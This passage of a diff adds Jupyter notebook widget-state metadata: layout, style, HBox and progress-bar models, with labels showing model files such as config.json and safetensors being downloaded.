+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "b4209eed23cb45038a5c614bfe8bf3b6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "b5a46aec8d594d02b618b9d59e4f4518": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b67319578dc84245ad16cb8d25d3173c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "b7aa53a4de824d7fbec2a07c1771bc24": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_17c87915e01b4d2fa79042759bf1a57d",
+              "IPY_MODEL_bafabfceff6e4f76b900878a4077337e",
+              "IPY_MODEL_5d1c6a49ce6f4596946a2fd91bec3312"
+            ],
+            "layout": "IPY_MODEL_795329002e034ec4aead224cf74ea361"
+          }
+        },
+        "b991b21d18ec471fb18b291a0c10aa6e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "b9cf936d26124cad959de16fcf5bea63": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ba72519befe047eabb826d1f7ec0e39c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "bafabfceff6e4f76b900878a4077337e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_cd437bc3e2194f1a8c5e83ec98745b58",
+            "max": 825,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_18ba1c9da9714f2494c06570e4dc1d64",
+            "value": 825
+          }
+        },
+        "bc60bbefdc2a490588dd8f58327fd264": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "bc72d593b56c42899ff4779e92bcf818": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_cabab037d12a455bbd283477e481d4ca",
+              "IPY_MODEL_7cdde9f1b0f1403ababc0e3e120617c4",
+              "IPY_MODEL_28c075d27bf8437c99b4fa8091d4d2c0"
+            ],
+            "layout": "IPY_MODEL_7c5bcff9ea9344dca52dbaa4a6545b50"
+          }
+        },
+        "bc9783a6d9d0437b881b01cad81c0173": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "bce74d8ba4dd4a35bd276ba2dbf0ffd1": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "be0a3bc217b04b2dbd06a90141c0dd35": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "bfc87d61a154451294fa790fc30075ea": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_c8cabf1d8ffe421296725d8494ba0d3b",
+              "IPY_MODEL_28fe7cfc4f4048eca1120a7228dcd629",
+              "IPY_MODEL_9ecd3535823549bbbcbf3f131704d3eb"
+            ],
+            "layout": "IPY_MODEL_03b9fb0d0fa44ac8bf1a6aa678ff82c8"
+          }
+        },
+        "c081010577e7490eae450d69b0458a74": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c1dc0d80451c4d098f16eb6ec7eed752": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_d4c5db5f7ffe42beb2065e14cbdd755d",
+              "IPY_MODEL_accd8a5f56cf41c5af297f8bf93f7058",
+              "IPY_MODEL_824b0b410fed4ea1b5bc7f88236fc3e8"
+            ],
+            "layout": "IPY_MODEL_a6b2ca41ffb24b9193a83fd9a4c24a8c"
+          }
+        },
+        "c2ccf29c76d1461c8e820cdd1091684a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c30445a77e81411bbad4f90b8c54bc35": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c4995db7a62844b4a00daaf55847cabd": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_080c7086e8684bb3bb857d23f426d5dd",
+            "max": 221326504,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_37e74a92120d40ab99b8a3efeb397bd8",
+            "value": 221326504
+          }
+        },
+        "c5f787d7f16542baa5a5657c3ecb14a0": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c797a3a49d1d44598e8810817eac04f6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "c826a36c99ae462abccdc59266c404d3": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c87c0b939bbe4e56b46fca4aa580f75a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "c883ad6804cd4f628494b1eb7f432e51": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c8ba37c669974bbea2face17223d2bb4": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c8cabf1d8ffe421296725d8494ba0d3b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_59b6eeeaf9464da891bf214ef1bbb7c2",
+            "placeholder": "",
+            "style": "IPY_MODEL_7d3baaa3ab784895a59534261f43ce7d",
+            "value": "Downloading (…)_encoder/config.json: 100%"
+          }
+        },
+        "c909bafccc65402fa93afea87f1b784e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_91f32130b9fc47ceaae99521c0b70015",
+            "placeholder": "",
+            "style": "IPY_MODEL_e8bec5477f7c43c1a55c852ef8b7cb95",
+            "value": "Downloading (…)ch_model.safetensors: 100%"
+          }
+        },
+        "cabab037d12a455bbd283477e481d4ca": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_2b68707a9749479cab4b4ecd124d87cb",
+            "placeholder": "",
+            "style": "IPY_MODEL_e7274e83d2c44080bbbb2fc5ec79dfee",
+            "value": "Downloading (…)ain/model_index.json: 100%"
+          }
+        },
+        "cd437bc3e2194f1a8c5e83ec98745b58": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "cd9c9d32567f4e5aa9291f66b08490bf": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ad07cccdd8d44a9ab5e3458e8d902ac6",
+            "placeholder": "",
+            "style": "IPY_MODEL_ff88d9a5f7d64ad7bb0f09f6c71543f1",
+            "value": "Downloading (…)ch_model.safetensors: 100%"
+          }
+        },
+        "cdcf280e7a3043c2a1d59e0eea379d96": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ce0bc6a269b841e59b3c1b00796b8605": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
